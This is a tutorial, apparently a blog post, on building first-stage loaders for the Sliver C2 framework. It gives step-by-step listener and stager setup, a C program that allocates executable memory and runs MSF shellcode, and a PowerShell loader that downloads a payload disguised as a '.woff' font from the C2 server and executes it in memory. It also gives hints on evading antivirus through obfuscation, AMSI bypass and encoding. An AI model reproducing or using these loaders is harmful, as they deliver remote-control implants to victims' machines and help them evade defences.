A short article about setting up stagers in Sliver and a fast c and Powershell runner.
A bit advanced, now you're warned :)
Requires a Kali machine, and a Windows target VM.
So, what is a shellcode runner and why would we care really ?
Because Sliver implants are quite large, and they get caught by AV in Windows, so how do we avoid that ? This is where runners come in. They are initial paayloads, small in size, meant to get a foothold on the target, and download a second stage payload, in this case, the main implant. Sliver implants are second-stage, and are not meant to be run directly, but Sliiver doesn't come with loaders, so we have to come up with that on our own.
So, with the intro out of the way, let's dive in...
The idea is, a small file (the 1st stage), get in touch with the Sliver C2, that sends the final payload, and get it run on target. Here, we're building a C code and Powershell loader, but others can be build, like Python, Ruby and others, because the generate stager command is only a wrapper around MSF-Venom, that spit's out raw shellcode to a file, nothing else.
First, we need a couple of things,We need a profile that defines our payload, an mtls listener for the second-stage to connect back to, and a http and a tcp listener. We use the tcp one for the c runner, and http for powershell, so we might as well do them all at once.
First the profile :
sliver > profiles new --mtls sliver-IP-Addr --skip-symbols --format shellcode --arch amd64 win64
Let's confirm that our profile is there.
sliver > profiles
Profile Name Implant Type Platform Command & Control Debug Format Obfuscation Limitations
============== ============== =============== =========================== ======= =========== ============= =============
win64 session windows/amd64 [1] mtls://x.x.x.x:8888 false SHELLCODE enabled
And it is. Now we need the mtls listener, so set it up with :
sliver > mtls
And confirm it worked, and mtls is running.
sliver > jobs
ID Name Protocol Port
==== ====== ========== ======
1 mtls tcp 8888
Now we need a tcp stage-listener, on port 8443, for use with the c runner code, and we do it like this :
sliver > stage-listener --url tcp://sliver-IP_addr:8443 --profile win64
[*] No builds found for profile win64, generating a new one
[*] Job 2 (tcp) started
sliver > jobs
ID Name Protocol Port
==== ====== ========== ======
1 mtls tcp 8888
2 TCP tcp 8443
Okay, get some coffee, we're almost done with the setup, one last thing to do, the http listener for serving the powershell loader over http.
sliver > stage-listener --url http://x.x.x.x:80 --profile win64
Now we're done setting up our listeners, on with the stagers, let's do c first.
sliver > generate stager --lhost x.x.x.x --lport 8443 --arch amd64 --format c --save /tmp
[*] Sliver implant stager saved to: /tmp/SOLID_TOSSER
Now, if we try to run the payload, we can't, but what to do with it then ?. We need to cat out that file, include it in a wrapper, compile it to exe, and then run it. So, fun times ahead :)
└─$ cat /tmp/SOLID_TOSSER
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\xff\xe7\x58\x6a\x00\x59\xbb\xe0\x1d\x2a\x0a\x41\x89\xda\xff"
"\xd5";
Here's the shellcode in c format, so on with a simple concept runner in c code.
#include "windows.h"
int main()
{
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\xbb\xe0\x1d\x2a\x0a\x41\x89\xda\xff"
"\xd5";
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
return 0;
}
Now, all we need to do is save this somewhere, mines shellrunner.c and compile this thing, we can do that with the mingw compiler.
x86_64-w64-mingw32-gcc -o shellrunner.exe shellrunner.c
Now, if there were no errors, you should have an exe file, that can be copied to a Windows target, but I do suggest you turn off Defender (AV), since this is not encrypted, so it will get caught, since it's using MSF shellcode.
And the point here is not AV-Evasion, but to show the concept of custom runners and shellcode in Sliver C2.
Fire it up, and hopefully you get a session in Sliver :)
So, we're done with the c runner, on to Powershell. Now, remember we had to listeners, one tcp, and one http ?, time for the http one now.
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds);
}
"@
Add-Type $Win32
$shellcode = (New-Object System.Net.WebCLient).DownloadData("http://CHANGE_THIS_TO_SLIVER_IP/fontawesome.woff")
if ($shellcode -eq $null) {Exit};
$size = $shellcode.Length
[IntPtr]$addr = [Win32]::VirtualAlloc(0,$size,0x1000,0x40);
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $addr, $size)
$thandle=[Win32]::CreateThread(0,0,$addr,0,0,0);
[Win32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
This is the Powershell loader. It simply just tries to get a .woff file from the C2 server, downloads and executes it in memory. NOTE, this is very basic, No obfuscation, no AMSI-Bypass, this is left for the reader to do. Save this as a ps1 file, copy it to the windows target, and run from a powershell shell.
For base64 encryption on Linux, do this.
cat stager.ps1 | iconv --to-code UTF-16LE | base64 -w 0 > enc-loader.ps1
Note that b64 encryption will get you flagged by AV, so a bit of work needs to be done to get it to work, again, look into obfuscation of Powershell and that sort of thing, and you'll see the light ;)
So, there you go, a couple of simple runners and stagers for Sliver, now go play on your own. Maybe look into encrypting the second-stage payload ?, encrypted runners, other formats of runners, Python maybe ?, what about Ruby ?
Much Happy Coding ;)